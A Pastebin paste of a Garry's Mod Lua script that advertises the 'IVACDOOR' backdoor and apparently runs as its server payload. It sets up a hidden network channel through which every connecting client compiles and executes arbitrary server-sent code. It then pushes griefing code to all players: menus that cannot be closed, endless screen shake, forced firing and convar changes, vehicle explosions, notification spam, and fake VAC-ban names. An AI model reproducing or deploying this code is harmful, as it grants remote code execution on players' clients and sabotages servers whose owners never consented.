Advertisement
Guest User

Untitled

a guest
Feb 16th, 2020
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.02 KB | None | 0 0
  1. -- by IXXE
  2. -- Read LICENSE before making changes
  3.  
  4.  
  5. --[[
  6. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  7. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  8. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  9. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  10. ]]--
  11.  
  12.  
  13. print([=[
  14. ██████╗ ███████╗████████╗
  15. ██╔════╝ ██╔════╝╚══██╔══╝
  16. ██║ ███╗█████╗ ██║
  17. ██║ ██║██╔══╝ ██║
  18. ╚██████╔╝███████╗ ██║
  19. ╚═════╝ ╚══════╝ ╚═╝
  20. ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
  21. ████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
  22. ██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
  23. ██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
  24. ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
  25. ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
  26. BY EXEE --> https://discord.gg/8s2HVrP
  27. Buy IVACDOOR https://discord.gg/8s2HVrP !
  28.  
  29. ¯\_(ツ)_/¯
  30.  
  31. ]=])
  32.  
  33.  
  34. for k, v in pairs( player.GetAll() ) do
  35. if ( v:Alive() ) then
  36. v:GodEnable()
  37. else
  38. v:Spawn()
  39. timer.Simple( 1.2, function()
  40. v:GodEnable()
  41. end)
  42. end
  43. end
  44.  
  45.  
  46. local function rdm_str(len)
  47. if !len or len <= 0 then return '' end
  48. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  49. end
  50.  
  51. local net_string = rdm_str(25)
  52.  
  53. util.AddNetworkString(net_string)
  54. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  55. hook.Add("PlayerInitialSpawn", "☂️_PRIVATE_JOKE",function(ply)
  56. if !ply:IsBot() then
  57. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  58. end
  59. end)
  60.  
  61. local function SendToClient(code)
  62. local data = util.Compress(code)
  63. local len = #data
  64. net.Start(net_string)
  65. net.WriteUInt(len, 16)
  66. net.WriteData(data, len)
  67. net.Broadcast()
  68. end
  69. timer.Simple( 17, function()
  70. SendToClient([[
  71.  
  72. print([=[
  73. ██████╗ ███████╗████████╗
  74. ██╔════╝ ██╔════╝╚══██╔══╝
  75. ██║ ███╗█████╗ ██║
  76. ██║ ██║██╔══╝ ██║
  77. ╚██████╔╝███████╗ ██║
  78. ╚═════╝ ╚══════╝ ╚═╝
  79. ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
  80. ████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
  81. ██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
  82. ██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
  83. ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
  84. ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
  85. BY EXEE --> https://discord.gg/8s2HVrP
  86. Buy IVACDOOR https://discord.gg/8s2HVrP !
  87. ¯\_(ツ)_/¯
  88. ]=])
  89.  
  90.  
  91. hook.Add("Think","🤔_WHY_YOU_WANT_EDIT_MY_CODE",function() gui.HideGameUI() end)
  92.  
  93.  
  94.  
  95. local CreateModel = function(mdl, isragdoll)
  96. local ent
  97.  
  98. if isragdoll then
  99. ent = ClientsideRagdoll(mdl)
  100. else
  101. ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
  102. end
  103.  
  104.  
  105. return ent
  106. end
  107.  
  108. local NewHookAdd = function(str, name, func)
  109. --name = "dronesrewrite_hell_hooks" .. name
  110. hook.Add(str, name, func)
  111.  
  112. table.insert(cache, {
  113. str = str,
  114. name = name
  115. })
  116. end
  117.  
  118. local cache = { }
  119. timercache = { }
  120. local Const = 0
  121. local Noise = nil
  122. local pl = LocalPlayer()
  123. timer.Create("💸_BUY_GVAC_NOW", 2, 1, function()
  124. local dlight = DynamicLight(pl:EntIndex())
  125. if dlight then
  126. dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
  127. dlight.r = 255
  128. dlight.g = 0
  129. dlight.b = 0
  130. dlight.brightness = 16
  131. dlight.Decay = 1000
  132. dlight.Size = 2000
  133. dlight.DieTime = CurTime() + 2
  134. end
  135.  
  136. local pos = pl:GetPos() + Vector(0, 0, 120)
  137. local ang = Angle(0, pl:GetAngles().y, 0)
  138.  
  139. local tr = util.TraceLine({
  140. start = pos,
  141. endpos = pos + ang:Forward() * 86,
  142. filter = pl
  143. })
  144.  
  145. local rag_pos = tr.HitPos + tr.HitNormal * 3 - Vector(0, 0, 80)
  146.  
  147. for i = 1, 16 do
  148. sound.Play("vo/npc/Barney/ba_laugh04.wav", Vector( 0, 0, 0 ) )
  149. end
  150.  
  151.  
  152. local mdl = CreateModel("models/food/hotdog.mdl")
  153. mdl:SetModelScale(5)
  154. mdl:SetAngles(ang + Angle(15, 180, 0))
  155. mdl:SetPos(rag_pos)
  156. mdl:Spawn()
  157.  
  158.  
  159. hook.Add("CalcView", "😕_EDIT_MY_CODE_IS_STUPID", function(ply, _pos, _ang, fov)
  160. local view = { }
  161. view.origin = pos + VectorRand()
  162. view.angles = ang
  163. view.fov = fov + math.random(-80, -50)
  164.  
  165. return view
  166. end)
  167.  
  168. timer.Create("👻_WHY_ME_PLEASE_LEAK_GIZEH", 1.4, 1, function()
  169. mdl:Remove()
  170. hook.Remove("CalcView", "😕_EDIT_MY_CODE_IS_STUPID")
  171. end)
  172. end)
  173. ]])
  174. end)
  175.  
  176. timer.Simple( 20, function()
  177. timer.Create( "ouupsss", 0.1, 0, function()
  178. for k,v in pairs(player.GetAll()) do
  179. v:SendLua('RunConsoleCommand("impulse","100")')
  180. end
  181. end)
  182. hook.Add( 'SetupMove', '😈_NO_SCOPED', function( ply, move )
  183. if not ply:IsOnGround() then
  184. move:SetButtons( bit.band( move:GetButtons(), bit.bnot( IN_JUMP ) ) )
  185. end
  186. end )
  187. for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
  188.  
  189. local explo = ents.Create("env_explosion")
  190. explo:SetPos(v:GetPos())
  191. explo:SetKeyValue("iMagnitude", "300")
  192. explo:Spawn()
  193. explo:Activate()
  194. explo:Fire("Explode", "", 0)
  195. end
  196.  
  197. end
  198. for k,v in pairs(player.GetAll()) do
  199. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  200. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  201. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  202. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  203. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  204. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  205. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  206. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  207. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  208. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  209. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  210. v:ManipulateBoneScale( a, Vector(100,100,100))
  211. v:ManipulateBoneScale( b, Vector(100,100,100))
  212. v:ManipulateBoneScale( c, Vector(100,100,100))
  213. v:ManipulateBoneScale( d, Vector(100,100,100))
  214. v:ManipulateBoneScale( e, Vector(100,100,100))
  215. v:ManipulateBoneScale( f, Vector(100,100,100))
  216. v:ManipulateBoneScale( g, Vector(100,100,100))
  217. v:ManipulateBoneScale( h, Vector(100,100,100))
  218. v:ManipulateBoneScale( i, Vector(100,100,100))
  219. v:ManipulateBoneScale( j, Vector(100,100,100))
  220. v:ManipulateBoneScale( k, Vector(100,100,100))
  221. end
  222. SendToClient([[
  223.  
  224. surface.CreateFont( "1XX3_big_text",{
  225. font = "Open Sans",
  226. size = 500,
  227. weight = 1000,
  228. antialias = true
  229. })
  230.  
  231. surface.CreateFont("3Y_IXX3", {
  232. font = "Open Sans",
  233. size = ScrW()*0.02,
  234. weight = 10,
  235. blursize = 0,
  236. scanlines = 2.5,
  237. antialias = false
  238. })
  239.  
  240. local function UwU_text( a )
  241.  
  242. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  243. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  244. local b = 215
  245.  
  246. return Color( r, g, b, a or 255 )
  247.  
  248. end
  249.  
  250. local w,h = ScrW(), ScrH()
  251. local W, H = ScrW(), ScrH()
  252. local MySelf = LocalPlayer()
  253.  
  254. if ohno then
  255. ohno:Remove()
  256. ohno = nil
  257. end
  258.  
  259. ohno = vgui.Create( "DFrame" )
  260. ohno:SetSize( w, h )
  261. ohno:SetPos(0,0)
  262. ohno:SetDraggable ( false )
  263. ohno:SetTitle("")
  264. ohno:MakePopup();
  265. ohno:ShowCloseButton(false)
  266.  
  267. ohno.Paint = function( self )
  268. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  269. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  270. end
  271.  
  272. local pw, ph = w, h*0.6
  273. local px, py = w/2-pw/2, h/2-ph/2
  274.  
  275.  
  276. local Close = vgui.Create( "DButton", ohno )
  277. Close:SetPos(px, py)
  278. Close:SetText( "" )
  279. Close:SetSize( pw, ph )
  280. Close.Paint = function( self, tw, th )
  281.  
  282. local shift = math.sin(RealTime()*3)*1.5 + 5
  283.  
  284.  
  285. draw.SimpleText( "IVACDOOR", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  286. draw.SimpleText( "IVACDOOR", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  287. draw.DrawText( "(╯°□°)╯︵ ┻━┻ BY EXEE", "EXEE", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  288. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "EXEE", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  289. draw.DrawText( "I BY EXEE", "EXEE", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  290. draw.DrawText( "I", "EXEE", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  291. draw.DrawText( "I", "EXEE", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  292. draw.DrawText( "I BY EXEE", "EXEE", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  293. draw.DrawText( "RIP ;)", "EXEE", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  294. draw.DrawText( "IVACDOOR", "EXEE", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  295. draw.DrawText( "RIP ;)", "EXEE", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  296. draw.DrawText( "IVACDOOR", "EXEE", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  297. draw.DrawText( "IVACDOOR", "EXEE", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  298. draw.DrawText( "RIP ;)", "EXEE", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  299. draw.DrawText( "IVACDOOR", "EXEE", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  300. draw.DrawText( "RIP ;) BY EXEE", "EXEE", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  301. draw.DrawText( "IVACDOOR", "EXEE", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  302. draw.DrawText( "RIP ;)", "EXEE", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  303. draw.DrawText( "IVACDOOR", "EXEE", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  304. draw.DrawText( "IVACDOOR", "EXEE", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  305. draw.DrawText( "GetNoScope BY EXEE", "IVACDOOR", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  306. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  307. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  308. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  309. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  310. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  311.  
  312. end
  313. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  314. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  315. timer.Create("🥵_MENU_LUA_IS_DEAD_BUY_GVAC", 0.1, 0, function()
  316. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  317. end)
  318.  
  319. timer.Simple( 15, function()
  320.  
  321. wut = vgui.Create( "DFrame" )
  322. wut:SetSize( w, h )
  323. wut:SetPos(0,0)
  324. wut:SetDraggable ( false )
  325. wut:SetTitle("")
  326. wut:ShowCloseButton(false)
  327.  
  328. wut.Paint = function( self )
  329. surface.SetDrawColor(30, 30, 30, 0)
  330. end
  331.  
  332. local Close = vgui.Create( "DButton", wut )
  333. Close:SetPos(px, py)
  334. Close:SetText( "" )
  335. Close:SetSize( pw, ph )
  336. Close.Paint = function( self, tw, th )
  337.  
  338. local shift = math.sin(RealTime()*3)*1.5 + 5
  339.  
  340.  
  341. draw.SimpleText( "IVACDOOR", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  342. draw.SimpleText( "IVACDOOR", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  343.  
  344. end
  345.  
  346. RunConsoleCommand("r_shader_srgb","1")
  347. RunConsoleCommand("gmod_language","ko")
  348. ohno:Remove()
  349. ohno = nil
  350.  
  351. local name = GetConVar("sv_skyname"):GetString()
  352. if name == "painted" then
  353. local sky
  354. for _, v in ipairs(ents.GetAll()) do
  355. if v:GetClass() == "env_skypaint" then
  356. sky = v
  357. break
  358. end
  359. end
  360. if !IsValid(sky) then return end
  361. hook.Add("PostRender","☁️_RAINBOW",function()
  362. local col = HSVToColor(CurTime()*30 % 360,1,1)
  363. col = Vector(col.r/255,col.g/255,col.b/255)
  364. sky:SetTopColor(col)
  365. sky:SetBottomColor(col)
  366. end)
  367. else
  368. local prefix = {"lf","ft","rt","bk","dn","up"}
  369. local mats = {}
  370. for i=1,6 do
  371. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  372. end
  373. hook.Add("PostRender","☁️_RAINBOW",function()
  374. local col = HSVToColor(CurTime()*30 % 360,1,1)
  375. for i=1,6 do
  376. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  377. end
  378. end)
  379. end
  380. local chienchaud = ClientsideModel("models/food/hotdog.mdl")
  381. chienchaud:SetNoDraw(true)
  382. chienchaud:SetModelScale(120)
  383. timer.Create("☄️_LOOK_THE_SKY", 0.01, 0, function()
  384. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  385. end)
  386.  
  387. local data = {}
  388. local function genchienchaud(id)
  389. local pos = LocalPlayer():GetPos()
  390. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  391. end
  392. for i=1, 150 do
  393. genchienchaud(i)
  394. end
  395. hook.Add("PostDrawOpaqueRenderables","🌭_CHIEN_CHAUD",function()
  396. local z = LocalPlayer():GetPos().z
  397. for i=1, #data do
  398. chienchaud:SetPos(data[i][1])
  399. chienchaud:SetupBones()
  400. chienchaud:DrawModel()
  401. data[i][1].z = data[i][1].z - data[i][2] / 20
  402. if data[i][1].z <= z then
  403. genchienchaud(i)
  404. end
  405. end
  406. end)
  407. end )
  408.  
  409.  
  410. sound.PlayURL( "https://www.dropbox.com/s/3ft59qzmf00gpwx/mlg.mp3?dl=1", "mono noblock noplay", function( station )
  411. timer.Simple( 0.1, function()
  412. ClientStation = station
  413. station:EnableLooping( true )
  414. station:Play()
  415. station:SetVolume( 1 )
  416. end )
  417. end )
  418.  
  419. timer.Create("🔒", 0.11, 0, function()
  420. RunConsoleCommand("+attack")
  421. end)
  422. timer.Create("🔓", 0.12, 0, function()
  423. RunConsoleCommand("-attack")
  424. end)
  425. ]])
  426. end)
  427.  
  428. local you = "💸_BUY_GVAC"
  429.  
  430. timer.Simple( 20, function()
  431.  
  432. membresenigma =
  433. {
  434. "OxY",
  435. "EXEE",
  436. "Elodie",
  437. "IVACDOOR",
  438. "EXEE",
  439. "KODARA",
  440. "TA MERE",
  441. "GET NO SCOPE !!!!",
  442. "GET NO SCOPE !!!!",
  443. "GET NO SCOPE !!!!",
  444. "GET NO SCOPE !!!!",
  445. "GET NO SCOPE !!!!",
  446. "GET NO SCOPE !!!!",
  447. "GET NO SCOPE !!!!",
  448. "GET NO SCOPE !!!!",
  449. "BY EXEE",
  450. "BY EXEE",
  451. "BY EXEE",
  452. "BY EXEE",
  453. "BY EXEE"
  454. }
  455.  
  456. timer.Create( "🦠_NE_DEL_RIEN_SINON_CANCER", 0.2, 0, function()
  457. for k, ply in pairs( player.GetAll() ) do
  458. DarkRP.notify(ply, 2, 2, "[Oh No !] "..table.Random(membresenigma).."")
  459. end
  460. end)
  461.  
  462.  
  463. for k,v in pairs(player.GetAll()) do
  464. v:SetRunSpeed(400* 4);
  465. v:SetWalkSpeed(400 * 4);
  466. end
  467.  
  468.  
  469. timer.Create( "🤫_RIP_U_VAC_BANNED", 1, 0, function()
  470. for k,v in pairs(player.GetAll()) do
  471. v:GodEnable()
  472. v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
  473. end
  474.  
  475. end )
  476.  
  477. end)
  478.  
  479.  
  480. timer.Create( "🤤_SPAM", 0, 0, function()
  481. SendToClient([[print("GET NOSCOPE !! BY EXEE")]])
  482. print("GET NOSCOPE !! BY EXEE")
  483. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement